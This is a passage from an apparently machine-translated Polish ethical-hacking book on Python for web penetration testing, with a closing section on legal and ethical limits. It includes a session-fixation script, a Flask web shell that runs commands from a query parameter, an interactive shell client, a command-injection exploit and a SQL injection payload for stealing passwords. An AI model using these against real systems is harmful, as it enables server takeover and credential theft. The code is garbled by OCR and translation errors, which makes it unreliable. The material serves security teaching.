użytkownika, oraz przejęcie sesji, gdzie atakujący kradnie lub zgaduje identyfikator sesji, aby podszyć 

się pod użytkownika. Pythona można użyć do zademonstrowania exploita fiksacji sesji: 

1 import requests 

2 

3 # Attacker's session ID 

4 session_id = "12345678" 

5  

6 # Fixating the session ID 

7 requests.get("", cookies={"PHPSESSID": session_id}) 

http://example.corri/login 



8  

9 # Assuming the victim logs in using the fixated session ID 

10 # Attacker now accesses the application with the victim's privileges 

11 response = requests.get("", cookies={"PHPSESSID": session_id}) 

http://example.com/dashboard 

12 print(response.text) 

Strategie łagodzenia 

Aby chronić się przed atakami uwierzytelniania i zarządzania sesjami, można zastosować kilka strategii 

łagodzenia: 

• Wdrożenie mechanizmów blokowania kont po określonej liczbie nieudanych prób logowania w celu 

obrony przed atakami siłowymi. 

• Korzystanie z silnych, unikalnych identyfikatorów sesji i zapewnienie bezpiecznego przetwarzania 

(tworzenia, przesyłania i unieważniania) plików cookie sesji. 

• Zastosowanie uwierzytelniania wieloskładnikowego w celu zapewnienia dodatkowej warstwy 

bezpieczeństwa wykraczającej poza hasła. 

Rozumiejąc i wykorzystując luki w zabezpieczeniach inherentne mechanizmom uwierzytelniania i 

zarządzania sesjami, etyczni hakerzy mogą podkreślić znaczenie solidnych praktyk bezpieczeństwa. 

Podane przykłady Pythona stanowią podstawę do automatyzacji takich wysiłków w zakresie testów 

penetracyjnych. Konieczne jest jednak przestrzeganie wytycznych etycznych i uzyskanie niezbędnych 

uprawnień przed próbą wykorzystania tych luk w rzeczywistych aplikacjach. 

Python dla powłok internetowych i zdalnego wykonywania kodu 

Powłoki internetowe ucieleśniają unikalną klasę luk w zabezpieczeniach aplikacji internetowych, 

umożliwiając atakującym wykonywanie dowolnych poleceń lub kodu na serwerze internetowym. Ta 

sekcja wyjaśnia wykorzystanie języka Python do tworzenia i wdrażania powłok internetowych, a 

następnie przeprowadzanie zadań zdalnego wykonywania kodu jako części praktyk testowania 

penetracyjnego. Potencjał języka Python w tej domenie leży w jego rozbudowanej bibliotece 

standardowej, obsłudze protokołów sieciowych i łatwości integracji z technologiami internetowymi. 

Podstawowym czynnikiem przy stosowaniu języka Python w tych celach jest granica etyczna i ramy 

prawne regulujące działania związane z testowaniem penetracyjnym. 

Podstawowa koncepcja powłok internetowych 

Powłoka internetowa to w zasadzie skrypt umieszczany na odsłoniętym serwerze internetowym w celu 

umożliwienia zdalnej administracji. Często powłoki internetowe są pisane w językach skryptowych 

obsługiwanych przez serwer, takich jak PHP, ASP, Java, Python i Perl. Jednak ta sekcja koncentruje się 

na wykorzystaniu języka Python zarówno do tworzenia powłok internetowych, jak i tworzenia 

klientów, którzy wchodzą w interakcje z tymi powłokami. 

Tworzenie prostej powłoki internetowej Pythona 

Prostą powłokę internetową Pythona można zaimplementować, akceptując polecenia za 

pośrednictwem żądań HTTP i wykonując je na serwerze. Rozważmy następujący przykład: 



1 # webshell.py 

2 import os 

3 from flask import Flask, request 

4 

5 app = Flask(_name_) 

6 

7 @app.route(7cmd’, methods=['GET']) 

8 def command_execution(): 

9 cmd = request.args.get(’cmd’) 

10 if cmd: 

11 return os.popen(cmd).read() 

12 else: 

13 return "Please provide a command via the 'cmd' query parameter." 

14 

15 if_name_= = ’__main_ 

16 app.run(host=’0.0.0.0’, port=8080) 

Skrypt wykorzystuje Flask, mikro-szkielet sieciowy dla Pythona, aby utworzyć podstawowy serwer 

sieciowy, który nasłuchuje żądań HTTP GET. Po otrzymaniu żądania wyodrębnia polecenie z parametru 

zapytania „cmd” i wykonuje je za pomocą os.popen. Dane wyjściowe polecenia są następnie zwracane 

jako odpowiedź HTTP. 

Interakcja z powłoką sieciową 

Aby nawiązać interakcję z tą powłoką sieciową, można napisać skrypt klienta w Pythonie. Poniższy 

przykład demonstruje prostego klienta: 

1 # shell_client.py 

2 import requests 

3 

4 target_url = "" http://example.com/cmd 

5 while True: 

6 cmd = input("Shell> ") 

7 if cmd.lowerO == "exit": 

8 break 

9 response = requests.get(target_url, params={'cmd’: cmd}) 



10 print(response.text) 

Skrypt klienta wykorzystuje bibliotekę żądań do wysłania żądania GET do powłoki internetowej z 

żądanym poleceniem. Odpowiedź, która zawiera dane wyjściowe wykonania polecenia, jest następnie 

drukowana na konsoli. 

Zdalne wykonywanie kodu 

Zdalne wykonywanie kodu stanowi znaczny poziom zagrożenia, ponieważ pozwala atakującemu na 

uruchomienie dowolnego kodu na serwerze docelowym. Wszechstronność i możliwości Pythona 

można wykorzystać do identyfikowania i wykorzystywania takich luk. Tester penetracyjny może 

używać skryptów Pythona do wysyłania spreparowanych ładunków, które wykorzystują znane luki w 

zabezpieczeniach aplikacji internetowych, co skutkuje zdalnym wykonywaniem kodu. Na przykład, jeśli 

aplikacja internetowa jest podatna na lukę polegającą na wstrzykiwaniu poleceń, można utworzyć 

skrypt Pythona w celu wykorzystania tej luki, jak pokazano poniżej: 

1 # rce_exploit.py 

2 import requests 

3 

4 exploit_url = "" http://vulnerable-app.com/execute 

5 exploit_payload = ['cmd': ’id’} # Example command to execute 

6 

7 response = requests.post(exploit_url, data=exploit_payload) 

8 print("Response:\n", response.text) 

Skrypt wysyła żądanie POST do podatnej aplikacji z ładunkiem zaprojektowanym w celu wykorzystania 

luki w zabezpieczeniach polegającej na wstrzykiwaniu poleceń. Dane wyjściowe wykonanego polecenia 

(w tym przypadku „id”) są drukowane na konsoli. Ważne jest, aby zrozumieć, że wdrażanie powłok 

internetowych i zdalne wykonywanie kodu w nieautoryzowanych systemach jest nielegalne i 

nieetyczne. Te metodologie powinny być stosowane wyłącznie w legalnych testach penetracyjnych, z 

wyraźną autoryzacją właściciela docelowego systemu. Powłoki internetowe i zdalne wykonywanie 

kodu stanowią luki o wysokim stopniu zagrożenia, które często są celem atakujących w celu naruszenia 

bezpieczeństwa serwerów internetowych. Python jest potężnym narzędziem zarówno dla testerów 

penetracyjnych, jak i atakujących, oferując możliwości opracowywania, wdrażania i interakcji z 

powłokami internetowymi, a także wykorzystywania luk w zabezpieczeniach umożliwiających zdalne 

wykonywanie kodu. Etyczni hakerzy muszą biegle posługiwać się tymi technikami, aby identyfikować i 

łagodzić takie słabości, zwiększając tym samym bezpieczeństwo aplikacji internetowych. 

Automatyzacja tworzenia niestandardowych exploitów dla aplikacji internetowych 

Automatyzacja procesu tworzenia niestandardowych exploitów dla aplikacji internetowych może 

znacznie zwiększyć wydajność i skuteczność testów penetracyjnych. Obejmuje to tworzenie skryptów 

w Pythonie, które mogą identyfikować luki, generować i dostarczać ładunki oraz oceniać wpływ. 

Automatyzując te procesy, testerzy penetracyjni mogą skupić się na analizowaniu złożonych luk, które 

wymagają ludzkiej wiedzy, pozostawiając powtarzalne i czasochłonne zadania do wykonania przez 

skrypty. Na początek ważne jest dokładne zrozumienie protokołu HTTP, ponieważ jest on podstawą 

aplikacji internetowych. Python udostępnia kilka bibliotek, takich jak żądania i BeautifulSoup, które 



odpowiednio upraszczają proces wysyłania żądań HTTP i analizowania dokumentów HTML. Narzędzia 

te są pomocne w automatyzacji interakcji z aplikacjami internetowymi.  

Identyfikowanie luk: Pierwszym krokiem w procesie automatyzacji jest identyfikacja potencjalnych luk. 

Można to osiągnąć, wysyłając różne dane wejściowe do aplikacji internetowej i analizując odpowiedzi. 

Skuteczny skrypt Pythona, który miałby to umożliwić, wykorzystywałby bibliotekę żądań do wysyłania 

żądań i sprawdzania odpowiedzi pod kątem oznak luk w zabezpieczeniach, takich jak komunikaty o 

błędach lub nieoczekiwane zachowanie. 

1 import requests 

2 

3 def scan_for_vulnerabilities(url, payload): 

4 response = requests.post(url, data=payload) 

5 if "vulnerability indicator" in response.text: 

6 print(f "Potential vulnerability found at {url}") 

Generowanie i dostarczanie ładunków: Po zidentyfikowaniu potencjalnej luki w zabezpieczeniach, 

następnym krokiem jest wygenerowanie ładunków, które wykorzystują tę lukę w zabezpieczeniach. 

Wymaga to dogłębnego zrozumienia typu luki w zabezpieczeniach i sposobu, w jaki można ją 

wykorzystać. Elastyczność Pythona pozwala na tworzenie złożonych ładunków, które można 

dostosować do konkretnych luk w zabezpieczeniach. Na przykład w przypadku luk w zabezpieczeniach 

typu SQL injection można generować ładunki, które próbują pobrać poufne informacje z bazy danych. 

Następnie do dostarczania tych ładunków używana jest biblioteka żądań. 

1 ładunek = UNION SELECT nazwa użytkownika, hasło Z użytkowników—" 

2 scan_fbr_vulnerabilities(target_url, ładunek) 

Ocena wpływu: Ostatnim krokiem w procesie automatyzacji jest ocena wpływu exploita. Obejmuje to 

analizę odpowiedzi otrzymanej po dostarczeniu ładunku. Jeśli ładunek zakończy się powodzeniem, 

odpowiedź może zawierać poufne informacje lub wskazówki, że zachowanie aplikacji internetowej 

zostało zmienione. 

Potencjalna luka została znaleziona na stronie http://example.com/login Aby jeszcze bardziej 

zautomatyzować proces eksploatacji i ocenę wpływu, skrypty mogą zawierać funkcjonalność do 

analizowania odpowiedzi i identyfikowania udanej eksploatacji luk. Może to obejmować użycie 

biblioteki BeautifulSoup do analizowania odpowiedzi HTML i wyodrębniania informacji. 

1 from bs4 import BeautifulSoup 

2 

3 def assess_impact(response): 

4 soup = BeautifulSoup(response.text, 'html.parser') 

5 # Extract and analyze data from the response 

6 pass 



Automatyzacja tworzenia niestandardowych exploitów dla aplikacji internetowych wymaga połączenia 

zrozumienia luk w aplikacjach internetowych, biegłości w Pythonie i efektywnego wykorzystania 

dostępnych bibliotek. Dzięki przyjęciu takiej automatyzacji testerzy penetracyjni mogą sprawnie i 

skutecznie identyfikować i wykorzystywać luki, zwiększając tym samym bezpieczeństwo aplikacji 

internetowych. Ta sekcja książki podkreśla znaczenie automatyzacji procesu tworzenia 

niestandardowych exploitów dla aplikacji internetowych przy użyciu Pythona. Poprzez praktyczne 

przykłady i wyjaśnienia szczegółowo opisuje kroki, od identyfikacji luk w zabezpieczeniach po ocenę 

wpływu exploitów. 

Web Scraping i ekstrakcja danych za pomocą Pythona 

Web scraping to potężna technika stosowana w gromadzeniu i analizie danych, szczególnie przydatna 

w testach penetracyjnych w celu gromadzenia informacji o docelowych aplikacjach internetowych. 

Python, z bogatym ekosystemem bibliotek, prezentuje niezrównany zestaw narzędzi do web scrapingu, 

umożliwiający skuteczną ekstrakcję danych ze stron internetowych. Ta sekcja omówi metodologie, 

narzędzia i kwestie etyczne związane z web scrapingiem na potrzeby testów penetracyjnych. Zacznijmy 

od zrozumienia prawnych i etycznych granic web scrapingu. Konieczne jest upewnienie się, że wszelkie 

działania scrapingowe są zgodne z warunkami korzystania ze strony internetowej oraz wszelkimi 

lokalnymi, krajowymi lub międzynarodowymi przepisami dotyczącymi prywatności danych i 

cyberzachowania. Etyczni hakerzy muszą uzyskać wyraźną zgodę od właścicieli strony internetowej lub 

aplikacji przed przeprowadzeniem jakiejkolwiek formy scrapingu. Biorąc pod uwagę te rozważania, 

biblioteki BeautifulSoup i requests języka Python to dwa podstawowe narzędzia do przeprowadzania 

web scrapingu. BeautifulSoup umożliwia parsowanie dokumentów HTML i XML, zamieniając je w 

nawigowalne drzewa. Ułatwia to wyodrębnianie danych poprzez filtrowanie według tagów, klas i 

atrybutów. Tymczasem biblioteka requests jest używana do wysyłania żądań HTTP do serwerów 

internetowych, umożliwiając zbieranie stron internetowych do scrapowania. Poniższy przykład 

pokazuje, jak używać requests i BeautifulSoup do scrapowania i drukowania tytułów artykułów z 

hipotetycznej witryny informacyjnej: 

1 import requests 

2 from bs4 import BeautifulSoup 

3  

4 # Target URL 

5 url = "" https://example-news-site.com 

6  

7 # Send GET request 

8 response = requests.get(url) 

9 response.raise_for_status() # ensures we notice bad responses 

10 

11# Parse the HTML 

12 soup = BeautifulSoup(response.text, 'html.parser') 

13 



14 # Extract article titles 

15 for article in soup.find_all(’h2', class_='article-title'): 

16 print(article.text) 

W tym przykładzie żądanie GET jest wysyłane do adresu URL „https://example-news-site.com”, a 

odpowiedź jest parsowana do obiektu BeautifulSoup. Następnie metoda find_all jest używana do 

wyodrębnienia wszystkich elementów <h2> z klasą „article-title”, iterując po tych elementach, aby 

wydrukować ich zawartość tekstową. Jeśli chodzi o wyodrębnianie danych, bibliotekę pandas można 

często zintegrować, aby uporządkować wyodrębnione dane w ustrukturyzowane ramki danych, 

ułatwiając dalszą analizę lub przechowywanie. Załóżmy, że celem jest przechowywanie tytułów w pliku 

CSV; pandas można używać w następujący sposób: 

1 import pandas as pd 

2 

3 # Assuming 'titles' is a list of extracted titles 

4 titles = [article.text for article in soup.find_all(’h2\ class_=’article-title')] 

5 

6 # Convert list to DataFrame 

7 df = pd.DataFrame(titles, columns=['Article Title’]) 

8  

9 # Save to CSV 

10 df.to_csv(’extracted_titles.csv’, index=False) 

Ten fragment kodu konwertuje listę tytułów do pandas DataFrame, a następnie eksportuje ją do pliku 

CSV o nazwie „extracted_titles.csv”. Takie podejście ułatwia zbieranie i analizę danych internetowych 

w celu zidentyfikowania potencjalnych luk lub zebrania informacji podczas testu penetracyjnego. Web 

scraping to potężna technika w repertuarze etycznych hakerów do zbierania cennych danych z 

docelowych witryn. Ekosystem bibliotek Pythona, w szczególności BeautifulSoup, requests i pandas, 

zapewnia funkcjonalność wymaganą do skutecznych działań scrapingowych. Jednak przestrzeganie 

wytycznych etycznych i wymogów prawnych jest krytyczne podczas stosowania tych technik. 

Rozważania prawne i etyczne w testach penetracyjnych sieci 

Testy penetracyjne sieci są niezbędną czynnością w zabezpieczaniu aplikacji internetowych poprzez 

identyfikowanie i rozwiązywanie potencjalnych luk. Jednak proces ten obejmuje dostęp do tych luk i 

potencjalne ich wykorzystanie, co niesie ze sobą istotne implikacje prawne i etyczne. Najważniejsze 

jest, aby testerzy penetracji sieci rozumieli granice legalnego i etycznego hakowania, aby mieć 

pewność, że ich praca przyczynia się pozytywnie do postawy bezpieczeństwa aplikacji internetowych 

bez naruszania prywatności, łamania prawa lub norm etycznych. 

Ramy prawne regulujące testy penetracji sieci 

Ramy prawne dotyczące testów penetracji sieci różnią się znacznie w zależności od jurysdykcji, ale 

ogólnie koncentrują się na nieautoryzowanym dostępie do systemów komputerowych, ochronie 

danych i przepisach dotyczących prywatności. W Stanach Zjednoczonych ustawa o oszustwach 



komputerowych i nadużyciach (CFAA) jest podstawowym aktem prawnym, który uznaje dostęp do 

komputera bez upoważnienia lub przekroczenie upoważnionego dostępu za nielegalne. Podobnie, 

ogólne rozporządzenie o ochronie danych (RODO) w Unii Europejskiej ogranicza nieautoryzowany 

dostęp do danych osobowych, nakładając wysokie grzywny za naruszenia. Przed przeprowadzeniem 

jakichkolwiek testów penetracyjnych konieczne jest uzyskanie wyraźnej pisemnej zgody właściciela 

aplikacji internetowej. Ta zgoda powinna szczegółowo określać zakres testów, w tym systemy, które 

mają zostać przetestowane, metody testowania, które mają zostać użyte, oraz wszelkie ograniczenia 

działań testera penetracji.  

Wytyczne etyczne dla testerów penetracji sieci 

Etyka odgrywa kluczową rolę w kierowaniu postępowaniem testerów penetracji sieci, aby zapewnić, 

że ich działania są zgodne z zasadami szacunku, uczciwości i celem zwiększania bezpieczeństwa. Oto 

kluczowe wytyczne etyczne, których powinni przestrzegać testerzy: 

• Zezwolenie: Upewnij się, że uzyskano pisemną zgodę od upoważnionej strony przed rozpoczęciem 

testowania. 

• Zakres: Ściśle przestrzegaj uzgodnionego zakresu testowania, aby uniknąć dostępu lub testowania 

systemów, które nie zostały wyraźnie upoważnione. 

• Prywatność: Chroń wszelkie dane odkryte podczas testowania i unikaj nieautoryzowanego dostępu 

lub ujawnienia prywatnych informacji. 

• Ujawnienie: Odpowiedzialnie ujawniaj podatności organizacji w odpowiednim czasie, dając 

wystarczająco dużo czasu na naprawę przed publicznym ujawnieniem. 

• Integralność: Unikaj działań, które mogłyby potencjalnie zaszkodzić systemowi docelowemu, jego 

danym lub jego użytkownikom podczas testowania. 

Poruszanie się po dylematach etycznych w testach penetracyjnych sieci 

Pomimo jasnych ram prawnych i wytycznych etycznych, testerzy penetracyjni sieci mogą nadal 

napotykać sytuacje, w których właściwy sposób postępowania jest niejednoznaczny. W takich 

przypadkach konieczne jest priorytetowe traktowanie bezpieczeństwa, prywatności i integralności 

systemów i użytkowników. Testerzy powinni szukać wskazówek w swoich zasadach etycznych, 

przyznanych uprawnieniach prawnych, a w razie wątpliwości skonsultować się z doradcą prawnym lub 

doradcą etycznym, aby poruszać się po tych dylematach. Podsumowując, testowanie penetracyjne 

sieci zajmuje krytyczne miejsce w domenie cyberbezpieczeństwa, łącząc lukę między potencjalnymi 

lukami w zabezpieczeniach i wzmacniając aplikacje internetowe przed atakami. Jednak jego praktyka 

jest ograniczona przez rygorystyczne względy prawne i etyczne mające na celu ochronę praw i 

prywatności osób i organizacji. Testerzy penetracyjni muszą poruszać się po tym krajobrazie ostrożnie, 

upewniając się, że ich wysiłki na rzecz zabezpieczenia aplikacji internetowych są zarówno zgodne z 

prawem, jak i etycznie uzasadnione. 


